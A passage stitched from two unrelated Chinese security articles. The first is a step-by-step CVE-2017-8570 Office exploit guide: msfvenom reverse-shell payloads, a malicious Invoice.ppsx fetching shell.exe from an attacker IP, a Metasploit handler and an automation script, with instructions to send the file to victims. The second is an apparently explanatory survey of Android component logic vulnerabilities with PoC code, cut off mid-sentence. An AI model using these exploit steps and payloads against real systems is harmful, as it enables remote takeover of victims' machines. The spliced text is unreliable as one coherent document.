> Microsoft Office 2013 RT Service Pack 1
> Microsoft Office 2013 Service Pack 1 (32-bit editions)
> Microsoft Office 2013 Service Pack 1 (64-bit editions)
> Microsoft Office 2016 (32-bit edition)
> Microsoft Office 2016 (64-bit edition)
### CVE-2017-8570的利用步骤
#### 下载漏洞利用脚本
打开kali，通过git clone命令将利用脚本下载下来
git clone https://github.com/tezukanice/Office8570.git
#### 生成恶意的ppsx文件
进入脚本目录，执行以下命令，这里的192.168.1.212为攻击机ip
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.212/logo.doc
发现如下错误：
刚好当前目录下有个template.ppsx，那么我们新建一个目录template，然后将template.ppsx放到template目录下
mkdir template
mv template.ppsx template/template.ppsx
然后再执行
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.212/logo.doc
然后执行ls，可以看到当前目录下生成了一个ppsx文件Invoice.ppsx
#### 生成反弹shell的木马
然后再生成一个windows的反弹shell
LHOST是攻击机ip，LPORT是反向连接的端口，我们可以通过监听这个端口来得到被攻击机反弹回来的shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.212 LPORT=7777 -f exe > /var/cve2017-8570/shell.exe
如果为x86的系统的话，使用如下语句：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.212 LPORT=7777 -f exe > /var/Office8570/shell.exe
监听80端口，等待漏洞触发下载shell.exe
python cve-2017-8570_toolkit.py -M exp -e http://192.168.1.212/shell.exe -l /var/Office8570/shell.exe
#### msf配置监听
输入msfconsole启动msf
use exploit/multi/handler
set LHOST 192.168.1.212
set LPORT 7777
set PAYLOAD windows/x64/meterpreter/reverse_tcp
如果是x86的系统，将上面语句替换为：set PAYLOAD windows/meterpterter/reserver_tcp
exploit
然后在/var/Office8570目录下的Invoice.ppsx文件发送给受害用户，用户点击后返回meterpreter
### 自动化脚本
前面的步骤，从下载exp生成恶意文件到配置msf都可以通过编写一个shell脚本来自动化完成
attack_ip="192.168.1.212"
LPORT="6666"
DIR="/var/cve2017"
if [ -d ${DIR} ]; then
rm -rf ${DIR}
mkdir ${DIR}
else
mkdir ${DIR}
fi
cd $DIR
`git clone https://github.com/tezukanice/Office8570.git`
cd Office8570
mkdir template
mv template.ppsx template/template.ppsx
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://$attack_ip"/logo.doc"
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=${attack_ip} LPORT=${LPORT} -f exe > ${DIR}/shell.exe`
gnome-terminal -e "python cve-2017-8570_toolkit.py -M exp -e http://${attack_ip}/shell.exe -l ${DIR}/shell.exe"
`service postgresql start`
if [ -f "exp.rc" ]; then
rm "exp.rc"
fi
echo "use exploit/multi/handler">>exp.rc
echo "set LHOST "$attack_ip>>exp.rc
echo "set LPORT "$LPORT>>exp.rc
echo "set PAYLOAD windows/x64/meterpreter/reverse_tcp">>exp.rc
echo "exploit">>exp.rc
gnome-terminal -e "msfconsole -r exp.rc"
用到的知识都很简单，就不一一分析了，其中主要用到的知识有：
通过`语句`来让当前语句执行完成后再执行下一条语句
利用>>将语句写入文件
通过rc脚本来配置msf
通过gnome-terminal命令来新打开一个命令行，并通过-e参数执行命令
#### 脚本用法：
脚本我放在github上了，下载地址：
https://github.com/Drac0nids/CVE-2017-8570.git
下载脚本后修改attack_ip为kali的ip，LPORT为msf要监听的端口，DIR为任意空目录
给脚本777的权限
chmod 777 auto
然后运行脚本
./auto
会自动下载利用脚本并生成恶意文件，并配置好msf监听
然后在DIR+/Office8570 目录下找到Invoice.ppsx文件，将其发送给被攻击者
被攻击者打开Invoice.ppsx文件后会利用powershell下载shell.exe，然后会返回一个meterpreter | 社区文章 |
**作者：evilpan
原文链接：<https://mp.weixin.qq.com/s/shbmbR0AizKHJSAJsLSbfA>
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
# 前言
随着社会越来越重视安全性，各种防御性编程或者漏洞缓解措施逐渐被加到了操作系统中，比如代码签名、指针签名、地址随机化、隔离堆等等，许多常见的内存破坏漏洞在这些缓解措施之下往往很难进行稳定的利用。因此，攻击者们的目光也逐渐更多地投入到逻辑漏洞上。逻辑漏洞通常具有很好的稳定性，不用受到风水的影响；但同时也隐藏得较深、混迹在大量业务代码中难以发现。而且由于形式各异，不太具有通用性，从投入产出比的角度来看可能不是一个高优先级的研究方向。但无论如何，这都始终是一个值得关注的攻击面。因此，本文就以
Android 平台为目标介绍一些常见的逻辑漏洞。
# 四大组件
接触过 Android 的人应该都听说过 “四大组件”，开发应用首先需要学习的就是各个组件的生命周期。所谓四大组件，分别是指 **Activity** 、
**Service** 、 **Broadcast Receiver** 和 **Content Provider**
，关于这些组件的实现细节可以参考官方的文档: [Application
Fundamentals](https://developer.android.com/guide/components/fundamentals)。
在安全研究中，四大组件值得我们特别关注，因为这是应用与外界沟通的重要桥梁，甚至在应用内部也是通过这些组件构建起了相互间松耦合的联系。比如应用本身可以不申请相机权限，但可以通过组件间的相互通信让（系统）相机应用打开摄像头并取得拍到的照片，仿佛是自身进行拍照的一样。
而在组件交互的过程中，最为核心的数据结构就是
[Intent](https://developer.android.com/reference/android/content/Intent)，这是大部分组件之间进行通信的载体。
# Intent 101
根据官方的说法，Intent 是 “对某种要执行的操作的抽象描述”，直译过来也可以叫做 “意图”，比如说 **想要**
打开摄像机拍照、想要打开浏览器访问网址，想要打开设置界面，……都可以用 Intent 来描述。
Intent 的主要形式有两种，分别是显式 Intent 和隐式 Intent；二者的差别主要在于前者显式指定了 `Component`，后者没有指定
Component，但是会通过足够的信息去帮助系统去理解意图，比如 `ACTION`、`CATAGORY` 等。
Intent 的最主要功能是用来启动 Activity，因此我们以这个场景为例，从源码中分析一下 Intent 的具体实现。启动 Activity
的常规代码片段如下：
Intent intent = new Intent(context, SomeActivity.class);
startActivity(intent);
这里用的是显式 Intent，但不是重点。一般在某个 Activity 中调用，因此调用的是 `Activity.startActivity`，代码在
_frameworks/base/core/java/android/app/Activity.java_ 中，这里不复制粘贴了，总而言之调用链路如下：
* Activity.startActivity()
* Activity.startActivityForResult()
* Instrumentation.execStartActivity()
* ActivityTaskManager.getService().startActivity()
* IActivityTaskManager.startActivity()
最后一条调用是个接口，这是个很常见的 pattern 了，下一步应该去找其实现，不出意外的话这个实现应该在另一个进程中。事实上也正是在
`system_server` 中：
* ActivityTaskManagerService.startActivity()
* ActivityTaskManagerService.startActivityAsUser()
* ActivityStarter.execute()
最后一个方法通过前面传入的信息去准备启动 Activity，包括 caller、userId、flags，callingPackage 以及最重要的
intent 信息，如下：
private int startActivityAsUser(...) {
// ...
return getActivityStartController()
.obtainStarter(
intent, "startActivityAsUser")
.setCaller(caller)
.setCallingPackage(callingPackage)
.setCallingFeatureId(callingFeatureId)
.setResolvedType(resolvedType)
.setResultTo(resultTo)
.setResultWho(resultWho)
.setRequestCode(requestCode)
.setStartFlags(startFlags)
.setProfilerInfo(profilerInfo)
.setActivityOptions(bOptions)
.setUserId(userId)
.execute();
}
**ActivityStarter.execute()** 主要的逻辑如下:
int execute() {
// ...
if (mRequest.activityInfo == null) {
mRequest.resolveActivity(mSupervisor);
}
res = resolveToHeavyWeightSwitcherIfNeeded();
res = executeRequest(mRequest);
}
其中，`resolveActivity` 用于获取要启动的 Activity
信息，例如在隐式启动的情况下，可能有多个符合要求的目标，也会弹出菜单询问用户选用哪个应用打开。`executeRequest`
中则主要进行相关权限检查，在所有权限满足条件后再调用 `startActivityUnchecked` 去执行真正的调用。
其中大部分流程我在 [Android12 应用启动流程分析](https://evilpan.com/2021/12/05/apk-startup/)
中已经介绍过了，这里更多是关注 Intent 本身的作用。从上面的分析中发现，可以将其看作是多进程通信中的消息载体，而其源码定义也能看出 Intent
本身是可以可以序列化并在进程间传递的结构。
public class Intent implements Parcelable, Cloneable { ... }
`Intent`
本身有很多方法和属性，这里暂时先不展开，后面介绍具体漏洞的时候再进行针对性的分析。后文主要以四大组件为着手点，分别介绍一些常见的漏洞模式和设计陷阱。
# Activity
[Activity](https://developer.android.com/reference/android/app/Activity)
也称为活动窗口，是与用户直接交互的图形界面。APP 主要开发工作之一就是设计各个 activity，并规划他们之间的跳转和连结。通常一个 activity
表示一个全屏的活动窗口，但也可以有其他的存在形式，比如浮动窗口、多窗口等。作为 UI 窗口，一般使用 XML 文件进行布局，并继承 Activity
类实现其生命周期函数 `onCreate` 和 `onPause` 等生命周期方法。
如果开发者定义的 Activity 想通过 `Context.startActivity` 启动的话，就必须将其声明到 APP 的 manifest
文件中，即
[AndroidManifest.xml](https://developer.android.com/guide/topics/manifest/manifest-intro)。应用被安装时，`PackageManager` 会解析其 manifest 文件中的相关信息并将其注册到系统中，以便在 `resolve`
时进行搜索。
在 adb shell 中可以通过 `am start-activity` 去打开指定的 Activity，通过指定 Intent 去进行启动：
am start-activity [-D] [-N] [-W] [-P <FILE>] [--start-profiler <FILE>]
[--sampling INTERVAL] [--streaming] [-R COUNT] [-S]
[--track-allocation] [--user <USER_ID> | current] <INTENT>
作为用户界面的载体，Activity
承载了许多用户输入/处理、以及外部数据接收/展示等工作，因此是应用对外的一个主要攻击面。下面就介绍几种较为常见的攻击场景。
## 生命周期
Activity 经典的生命周期图示如下：
通常开发者只需要实现 `onCreate` 方法，但是对于一些复杂的业务场景，正确理解其生命周期也是很必要的。以笔者在内测中遇到的某应用为例，其中某个
Activity 中执行了一些敏感的操作，比如开启摄像头推流，或者开启了录音，但只在 `onDestroy` 中进行了推流/录音的关闭。这样会导致在 APP
进入后台时候，这些操作依然在后台运行，攻击者可以构造任务栈使得受害者在面对恶意应用的钓鱼界面时候仍然执行目标应用的后台功能，从而形成特殊的钓鱼场景。正确的做法应该是在
`onPaused` 回调中对敏感操作进行关闭。
攻击者实际可以通过连续发送不同的 Intent 去精确控制目标 Activity
生命周期回调函数的触发时机，如果开发时没有注意也会造成应用功能的状态机异常甚至是安全问题。
## Implicit Exported
前面说过，开发者定义的 Activity 要想使用 `startActivity` 去启动，就必须在 AndroidManifest.xml 中使用
`<activity>` 进行声明，一个声明的示例如下：
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:theme="@android:01030055" android:name="com.evilpan.RouterActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="demo" android:host="router"/>
</intent-filter>
</activity>
[activity](https://developer.android.com/guide/topics/manifest/activity-element) 中支持许多属性。其中一个重要的属性就是 `android:exported`，表示当前 Activity 是否可以被 **其他应用**
的组件启动。该属性有几个特点：
1. 属性可以缺省，缺省值默认为 `false`；
2. 如果 Activity 没有显式设置该属性，且该 Activity 中定义了 `<intent-filter>`，那么缺省值就默认为 `true`；
也就是说，开发者可能没有显式指定 Activity 导出，但由于指定了 `intent-filter`，因此实际上也是导出的，即可以被其他应用唤起对应的
Activity。这种情况在早期很常见，比如 APP
设计了一组更换密码的界面，需要先输入旧密码然后再跳转到输入新密码的界面，如果后者是导出的，攻击者就可以直接唤起输入新密码的界面，从而绕过了旧密码的校验逻辑。
Google 已经深刻意识到了这个问题，因此规定在 Android 12 之后，如果应用的 Activity 中包含 intent-filter，就必须要显式指定 `android:exported` 为 true 或者 false，不允许缺省。在 Android 12 中未显式指定
exported 属性且带有 intent-filter 的 Activity 的应用在安装时候会直接被 PackageManager 拒绝。
## Fragment Injection
Activity 作为 UI 核心组件，同时也支持模块化的开发，比如在同一个界面中展示若干个可复用的子界面。随着这种设计思路诞生的就是
[Fragments](https://developer.android.com/guide/components/fragments) 组件，即
“片段”。使用 `FragmentActivity` 可以在一个 Activity 中组合一个或者多个片段，方便进行代码复用，片段的生命周期受到宿主
Activity 的影响。
Fragment Injection 漏洞最早在 2013 年爆出，这里只介绍其原理，本节末尾附有原始的文章以及论文。漏洞的核心是系统提供的
`PreferenceActivity` 类，开发者可以对其进行继承实现方便的设置功能，该类的 onCreate 函数有下面的功能：
protected void onCreate() {
// ...
String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);
// ...
if (initialFragment != null) {
switchToHeader(initialFragment, initialArguments);
}
}
private void switchToHeaderInner(String fragmentName, Bundle args) {
getFragmentManager().popBackStack(BACK_STACK_PREFS,
FragmentManager.POP_BACK_STACK_INCLUSIVE);
if (!isValidFragment(fragmentName)) {
throw new IllegalArgumentException("Invalid fragment for this activity: "
+ fragmentName);
}
Fragment f = Fragment.instantiate(this, fragmentName, args);
}
可以看到从 Intent 中获取了一个字符串和一个 Bundle 参数，并最终传入 `switchToHeaderInner` 中，用于实例化具体的
`Fragment`。实例化的过程如下：
public static Fragment instantiate(Context context, String fname, Bundle args) {
// ...
Class clazz = sClassMap.get(fname);
if (clazz == null) {
// Class not found in the cache, see if it's real, and try to add it
clazz = context.getClassLoader().loadClass(fname);
sClassMap.put(fname, clazz);
}
Fragment f = (Fragment)clazz.newInstance();
if (args != null) {
args.setClassLoader(f.getClass().getClassLoader());
f.mArguments = args;
}
return f;
}
经典的反射调用，将传入的字符串实例化为 Java
类，并设置其参数。这是什么，这就是反序列化啊！而实际的漏洞也正是出自这里，由于传入的参数攻击者可控，那么攻击者可以将其设置为某个内部类，从而触及开发者预期之外的功能。在原始的报告中，作者使用了
Settings 应用中的某个设置 PIN 密码的 Fragment 作为目标传入，这是个私有片段，从而导致了越权修改 PIN
码的功能。在当时的其他用户应用中，还有许多也使用了
PreferenceActivity，因此漏洞影响广泛，而且造成的利用根据应用本身的功能而异（也就是看有没有好用的 Gadget）。
注意上面的代码摘自最新的 Android 13，其中 `switchToHeaderInner` 方法加入了 `isValidFragment`
的判断，这正是 Android 当初的修复方案之一，即强制要求 PreferenceActivity
的子类实现该方法，不然就在运行时抛出异常。不过即便如此，还是有很多开发者为了图方便直接继承然后返回 `true` 的。
Fragment Injection 看似是 PreferenceActivity
的问题，但其核心还是对于不可信输入的校验不完善，在后文的例子中我们会多次看到类似的漏洞模式。
参考文章：
* [A New Vulnerability in the Android Framework: Fragment Injection](https://securityintelligence.com/new-vulnerability-android-framework-fragment-injection/)
* [ANDROID COLLAPSES INTO FRAGMENTS.pdf (wp)](https://securityintelligence.com/wp-content/uploads/2013/12/android-collapses-into-fragments.pdf)
* [Understanding fragment injection](https://www.synopsys.com/blogs/software-security/fragment-injection/)
* [How to fix Fragment Injection vulnerability](https://support.google.com/faqs/answer/7188427?hl=en)
## 点击劫持
Activity 既然作为 UI 的主要载体，那么与用户的交互也是其中关键的一项功能。在传统 Web
安全中就已经有过点击劫持的方法，即将目标网站想要让受害者点击的案件放在指定位置（如iframe），并在宿主中使用相关组件对目标进行覆盖和引导，令受害者在不知不觉中执行了敏感操作，比如点赞投币收藏一键离职等。
Android 中也出现过类似的攻击手段，比如在系统的敏感弹窗前面覆盖攻击者自定义的
TextView，引导受害者确认某些有害操作。当然这需要攻击者的应用拥有浮窗权限（`SYSTEM_ALERT_WINDOW`），在较新的 Android
系统中，该权限的申请需要用户多次的确认。
近两年中在 AOSP 中也出现过一些点击劫持漏洞，包括但不限于：
* CVE-2020-0306：蓝牙发现请求确认框覆盖
* CVE-2020-0394：蓝牙配对对话框覆盖
* CVE-2020-0015：证书安装对话框覆盖
* CVE-2021-0314：卸载确认对话框覆盖
* CVE-2021-0487：日历调试对话框覆盖
* ...
对于系统应用而言，防御点击劫持的方法一般是通过使用 android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS
权限并在布局参数中指定 `SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS` 来防止 UI 被覆盖。
而对于普通应用，没法申请 HIDE_NON_SYSTEM_OVERLAY_WINDOWS 权限，防御措施一般有两种，一是通过将布局的
`filterTouchesWhenObscured` 设置为 `true` 来禁止窗体被覆盖后的输入事件；二是重载
View.onFilterTouchEventForSecurity 方法，并在其中检测其他应用的覆盖情况。在 Android 12 中系统已经默认开启了
filterTouchesWhenObscured 属性，这也是 security by default 的一种经典实现。
> 关于点击劫持的操作细节和缓解方案，可以参考 OPPO 安全实验室的这篇文章：
> [《不可忽视的威胁：Android中的点击劫持攻击》](https://mp.weixin.qq.com/s?__biz=MzUyNzc4Mzk3MQ==&mid=2247487493&idx=1&sn=c5be070f204b919747a0865156d7caf9&chksm=fa7b1149cd0c985ff69bbbfa4901e026c1db38c32219ba9b777f8a0b163b9b6e3ec9b181bd87&scene=178&cur_album_id=1420861949369303041#rd)
另外一个与点击劫持类似的漏洞称为 StrandHogg，细节可以参考下述的原始文章。其关键点是使用了 Activity 的
`allowTaskReparenting` 和 `taskAffinity` 属性，将其任务栈伪装成目标应用，这样在打开目标应用时由于 TaskStack
后进先出的特性会导致用户看到的是攻击者的应用，从而造成应用的钓鱼场景。
后来还是同一个安全团队有提出了 **StrandHogg 2.0** 版本，主要利用了 `ActivityStarter` 中的 AUTOMERGE
特性。假设有 A、B 两个应用，在 A1 中调用 `startActivites(B1, A2, B2)` 之后，任务栈会从 (A1, B1) 以及
(A2, B2) 合并为 (A1, B1, A2, B2)，也就是在同一个任务栈中覆盖了其他应用的
Activity，从而导致钓鱼场景。不过这个漏洞比较特化，因此谷歌很早就已经修复了，详情可以阅读下面的参考文章：
* [The StrandHogg vulnerability](https://promon.co/security-news/the-strandhogg-vulnerability/)
* [StrandHogg 2.0 – New serious Android vulnerability](https://promon.co/resources/downloads/strandhogg-2-0-new-serious-android-vulnerability/)
* [StrandHogg 2.0 (CVE-2020-0096) 修复方案](https://android.googlesource.com/platform/frameworks/base/+/a952197bd161ac0e03abc6acb5f48e4ec2a56e9d)
## Intent Redirection
Intent Redirection，顾名思义就是将用户传入的不可信输入进行了转发，类似于服务端的 SSRF 漏洞。一个典型漏洞例子如下：
protected void onCreate (Bundle savedInstanceState) {
Intent target = (Intent) getIntent().getParcelableExtra("target");
startActivity(target);
}
将用户传入的 target `Parcelable` 直接转换成了 `Intent` 对象，并将这个对象作为 `startActivity`
的参数进行调用。就这个例子而言，可能造成的危害就是攻击者可以用任意构造的 Intent 数据去启动目标 APP
中的任意应用，哪怕是未导出的私有应用。而目标未导出的应用中可能进一步解析了攻击者提供的 Intent 中的参数，去造成进一步的危害，比如在内置
Webview 中执行任意 Javascript 代码，或者下载保存文件等。
实际上 Intent Redirection 除了可能用来启动私有 Activity 组件，还可以用于其他的的接口，包括：
* [startActivity](https://developer.android.com/reference/android/app/Activity#startActivity\(android.content.Intent\))
* [startService](https://developer.android.com/reference/android/content/Context#startService\(android.content.Intent\))
* [sendBroadcast](https://developer.android.com/reference/android/content/Context#sendBroadcast\(android.content.Intent\))
* [setResult](https://developer.android.com/reference/android/app/Activity#setResult\(int,%20android.content.Intent\))
> 注：每种方法可能还有若干衍生方法，比如 startActivityForResult
前面三个可能比较好理解，分别是启动界面、启动服务和发送广播。最后一个 `setResult` 可能会在排查的时候忽略，这主要用来给当前 Activity
的调用者返回额外数据，主要用于 `startActivityForResult` 的场景，这同样也可能将用户的不可信数据污染到调用者处。
从防御的角度上来说，建议不要直接把外部传入的 Intent 作为参数发送到上述四个接口中，如果一定要这么做的话，需要事先进行充分的过滤和安全校验，比如：
1. 将组件本身的 `android:exported` 设置为 `false`，但这只是防止了用户主动发送的数据，无法拦截通过 `setResult` 返回的数据；
2. 确保获取到的 `Intent` 来自于可信的应用，比如在组件上下文中调用 `getCallingActivity().getPackageName().equals("trust.app")`，但注意恶意的应用可以通过构造数据令 `getCallingActivity` 返回 `null`；
3. 确保待转发的 `Intent` 没有有害行为，比如 component 不指向自身的非导出组件，不带有 `FLAG_GRANT_READ_URI_PERMISSION` 等（详见后文 ContentProvider 漏洞）；
4. ...
但事实证明，即便是 Google 自己，也未必能够确保完善的校验。无恒实验室近期提交的高危漏洞 `CVE-2022-20223` 就是个很典型的例子：
private void assertSafeToStartCustomActivity(Intent intent) {
// Activity can be started if it belongs to the same app
if (intent.getPackage() != null && intent.getPackage().equals(packageName)) {
return;
}
// Activity can be started if intent resolves to multiple activities
List<ResolveInfo> resolveInfos = AppRestrictionsFragment.this.mPackageManager
.queryIntentActivities(intent, 0 /* no flags */);
if (resolveInfos.size() != 1) {
return;
}
// Prevent potential privilege escalation
ActivityInfo activityInfo = resolveInfos.get(0).activityInfo;
if (!packageName.equals(activityInfo.packageName)) {
throw new SecurityException("Application " + packageName
+ " is not allowed to start activity " + intent);
}
}
其中使用了 `ActivityInfo.packageName` 来判断启动目标的包名是否与当前 caller 的包名一致，可事实上显式 Intent
是通过 componentName 去指定启动目标，优先级高于 `Intent.packageName`
且后者可以被伪造，这就造成了检查的绕过。上述短短几行代码中其实还有另外一个漏洞，感兴趣的可以参考下面的参考链接。
因此，遇到潜在的 Intent 重定向问题时，可以多花点时间仔细审查，说不定就能够找到一个可利用的场景。
* [Remediation for Intent Redirection Vulnerability](https://support.google.com/faqs/answer/9267555?hl=en)
* [AOSP Bug Hunting with appshark (1): Intent Redirection](https://mp.weixin.qq.com/s/CY2nLUb2VQaBNxAKd7GeUQ)
# Service
[Service](https://developer.android.com/guide/components/services)
的主要功能有两个，一是给 APP 提供一个后台的长时间运行环境，二是对外提供自身的服务。与 Activity 的定义类似，Service 必须要在
manifest 中进行声明才能使用。注意 Service 中的代码也是和 Activity 一样运行在主线程的，并且默认和应用处于进程。
根据 Service 的两大主要功能区分，启动 Service 也有对应的两种形式：
1. `Context.startService()`：启动后台服务并让系统进行调度；
2. `Context.bindService()`：让（外部）应用绑定服务，并使用其提供的接口，可以理解为 RPC 的服务端；
两种方式启动服务的生命周期图示如下：
蓝色部分都是在客户端去进行调用，系统收到请求后会启动对应的服务，如果对应的进程没有启动也会通知 zygote
去启动。不管是哪种方法创建服务，系统都会为其调用 `onCreate` 和 `onDestroy` 方法。整体流程和 Activity
的启动流程类似，这里不再赘述。
shell 中同样提供了 `start-activity` 命令来方便启动服务：
am start-service [--user <USER_ID> | current] <INTENT>
下面来介绍一些 Service 组件相关的漏洞。
## 生命周期
前面介绍了 Service 启动的生命周期，总体和 Activity 流程差不多，但需要注意有几点不同：
1. 与 Activity 生命周期回调方法不同， **不需要** 调用 Serivce 回调方法的超类实现，比如 onCreate、onDestory 等；
2. `Service` 类的直接子类运行在主线程中，同时处理多个阻塞的请求时候一般需要在新建线程中执行；
3. `IntentService` 是 Service 的子类，被设计用于运行在 Worker 线程中，可以串行处理多个阻塞的 Intent 请求；API-30 以后被标记为废弃接口，建议使用 WorkManager 或者 JobIntentService 去实现；
4. 客户端通过 `stopSelf` 或者 `stopService` 来停止绑定服务，但服务端并没有对应的 `onStop` 回调，只有在销毁前收到 `onDestory`；
5. 前台服务必须为状态栏提供通知，让用于意识到服务正在运行；
对于[绑定服务](https://developer.android.com/guide/components/bound-services)而言，Android 系统会根据绑定的客户端引用计数来自动销毁服务，但如果服务实现了 `onStartCommand()`
回调，就必须显式地停止服务，因为系统会将其视为已启动的状态。此外，如果服务允许客户端再次绑定，就需要实现 onUnbind 方法并返回
true，这样客户端在下次绑定时候会接收到同样的 IBinder，示例图如下所示：
服务的声明周期相比于 Activity 更加复杂，因为涉及到进程间的绑定关系，因此也就更可能在不了解的情况下编写出不健壮甚至有问题的代码。
## Implicit Export
和 Activity 一样，Service 也要在 manifest 中使用
[service](https://developer.android.com/guide/topics/manifest/service-element)
去声明，也有 `android:exported` 属性。甚至关于该属性的默认值定义也是一样的，即默认是 `false`，但包含 intent-filter
时，默认就是 `true`。同样，在 Android 12 及以后也强制性要求必须显式指定服务的导出属性。
## 服务劫持
与 Activity 不同的是，Android 不建议使用隐式 Intent 去启动服务。因为服务在后台运行，没有可见的图形界面，因此用户看不到隐式
Intent 启动了哪个服务，且发送者也不知道 Intent 会被谁接收。
服务劫持是一个典型的漏洞，攻击者可以为自己的 Service 声明与目标相同的 intent-filter
并设定更高的优先级，这样可以截获到本应发往目标服务的 Intent，如果带有敏感信息的话还会造成数据泄露。
而在 `bindService` 中这种情况的危害则更加严重，攻击者可以伪装成目标 IPC 服务去返回错误甚至是有害的数据。因此，在 Android 5.0
（API-21）开始，使用隐式 Intent 去调用 bindService 会直接抛出异常。
如果待审计的目标应用在 Service 中提供了 `intent-filter`，那么就需要对其进行重点排查。
## AIDL
绑定服务可以被用来用作 IPC 服务端，如果服务端绑定的时候返回了 AIDL 接口的实例，那么就意味着客户端可以调用该接口的任意方法。一个实际案例是
Tiktok 的 `IndependentProcessDownloadService`，在 `DownloadService` 的 onBind
中返回了上述 AIDL 接口的实例：
_com/ss/android/socialbase/downloader/downloader/DownloadService.java_ :
if (this.downloadServiceHandler != null) {
return this.downloadServiceHandler.onBind(intent);
}
而其中有个 `tryDownload` 方法可以指定 url 和文件路径将文件下载并保存到本地。虽然攻击者没有 AIDL
文件，但还是可以通过反射去构造出合法的请求去进行调用，PoC 中关键的代码如下：
private ServiceConnection mServiceConnection = new ServiceConnection() {
public void onServiceConnected(ComponentName cName, IBinder service) {
processBinder(service);
}
public void onServiceDisconnected(ComponentName cName) { }
};
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = new Intent("com.ss.android.socialbase.downloader.remote");
intent.setClassName(
"com.zhiliaoapp.musically",
"com.ss.android.socialbase.downloader.downloader.IndependentProcessDownloadService");
bindService(intent, mServiceConnection, BIND_AUTO_CREATE);
}
private void processBinder(IBinder binder) {
ClassLoader cl = getForeignClassLoader(this, "com.zhiliaoapp.musically");
Object handler = cl.loadClass("com.ss.android.socialbase.downloader.downloader.i$a")
.getMethod("asInterface", IBinder.class)
.invoke(null, binder);
Object payload = getBinder(cl);
cl.loadClass("com.ss.android.socialbase.downloader.downloader.i")
.getMethod("tryDownload", cl.loadClass("com.ss.android.socialbase.downloader.model.a"))
.invoke(handler, payload);
}
private Object getBinder(ClassLoader cl) throws Throwable {
Class utilsClass = cl.loadClass("com.ss.android.socialbase.downloader.utils.g");
Class taskClass = cl.loadClass("com.ss.android.socialbase.downloader.model.DownloadTask");
return utilsClass.getDeclaredMethod("convertDownloadTaskToAidl", taskClass)
.invoke(null, getDownloadTask(taskClass, cl));
}
关键在于使用 `Context.getForeignClassLoader` 获取其他应用的 ClassLoader。
> 漏洞细节参考： [vulnerabilities in the TikTok Android
> app](https://blog.oversecured.com/Oversecured-detects-dangerous-> vulnerabilities-in-the-TikTok-Android-app/#vulnerability-via-> independentprocessdownloadservice-aidl-interface)
## Intent Redirect
这个其实和 Activity 中的对应漏洞类似，客户端启动/绑定 Service 的时候也指定了隐式或者显式的
Intent，其中的不可信数据如果被服务端用来作为启动其他组件的参数，就有可能造成一样的 Intent 重定向问题。注意除了 `getIntent()`
之外还有其他数据来源，比如服务中实现的 `onHandleIntent` 的参数。
其实最早提出 Intent 重定向危害的 "LaunchAnywhere" 漏洞就是出自系统服务，准确来说是 `AccountManagerService`
的漏洞。AccountManager 正常的执行流程为：
1. 普通应用（记为 A）去请求添加某类账户，调用 AccountManager.addAccount；
2. AccountManager 会去查找提供账号的应用（记为 B）的 Authenticator 类；
3. AccountManager 调用 B 的 Authenticator.addAccount 方法；
4. AccountManager 根据 B 返回的 Intent 去调起 B 的账户登录界面（AccountManagerResponse.getParcelable）；
在第 4 步时，系统认为 B 返回的数据是指向 B 的登陆界面的，但实际上 B 可以令其指向其他组件，甚至是系统组件，就造成了一个 Intent
重定向的漏洞。这里 Intent 的来源比较曲折，但本质还是攻击者可控的。
关于该漏洞的细节和利用过程可参考：[launchAnyWhere: Activity组件权限绕过漏洞解析(Google Bug 7699048
)](http://retme.net/index.php/2014/08/20/launchAnyWhere.html)
# Receiver
[Broadcast
Receiver](https://developer.android.com/guide/components/broadcasts)，简称
receiver，即广播接收器。前面介绍的 Activity 和 Service
之间的联动都是一对一的，而很多情况下我们可能想要一对多或者多对多的通信方案，广播就承担了这个功能。比如，Android
系统本身就会在发生各种事件的时候发送广播通知所有感兴趣的应用，比如开启飞行模式、网络状态变化、电量不足等等。这是一种典型的发布/订阅的设计模式，广播数据的载体也同样是
`Intent`。
与前面 Activity 与 Service 不同的是，Receiver 可以在 manifest
中进行声明注册，称为静态注册；也可以在应用运行过程中进行动态注册。但无论如何，定义的广播接收器都要继承自
[BroadcastReceiver](https://developer.android.com/reference/android/content/BroadcastReceiver)
并实现其声明周期方法 `onReceive(context, intent)`。
注意 BroadcastReceiver 的父类是 Object，不像 Activity 与 Service 是 Context，因此 onReceive
还会额外传入一个 context 对象。
shell 中发送广播的命令如下：
am broadcast [--user <USER_ID> | all | current] <INTENT>
下面还是按顺序介绍一些常见的问题。
## Implicit Export
使用静态注册的 receiver 倒没什么特殊，示例如下：
<receiver android:name=".MyBroadcastReceiver" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
</intent-filter>
</receiver>
同样存在和之前一样的默认 export 问题，相信大家已经看腻了，就不再啰嗦了。接着看动态注册的情况，比如：
BroadcastReceiver br = new MyBroadcastReceiver();
IntentFilter filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION);
filter.addAction(Intent.ACTION_AIRPLANE_MODE_CHANGED);
this.registerReceiver(br, filter);
与清单中的定义相比，动态注册的方式可能更容易忽略导出权限的问题。上述代码片段动态注册了一个广播，但没有显式声明 exported
属性，因此默认是导出的。事实上使用 registerReceiver 似乎没有简单的方法去设置 `exported=false`，而 Google
官方的建议是对于不需要导出的广播接收器使用 `LocalBroadcastManager.registerReceiver` 进行注册，或者在注册的时候指定
permission 权限。
对于指定 permission 权限的情况，如果是自定义权限，需要在应用清单中声明，比如：
<permission android:name="com.evilpan.MY_PERMISSION"
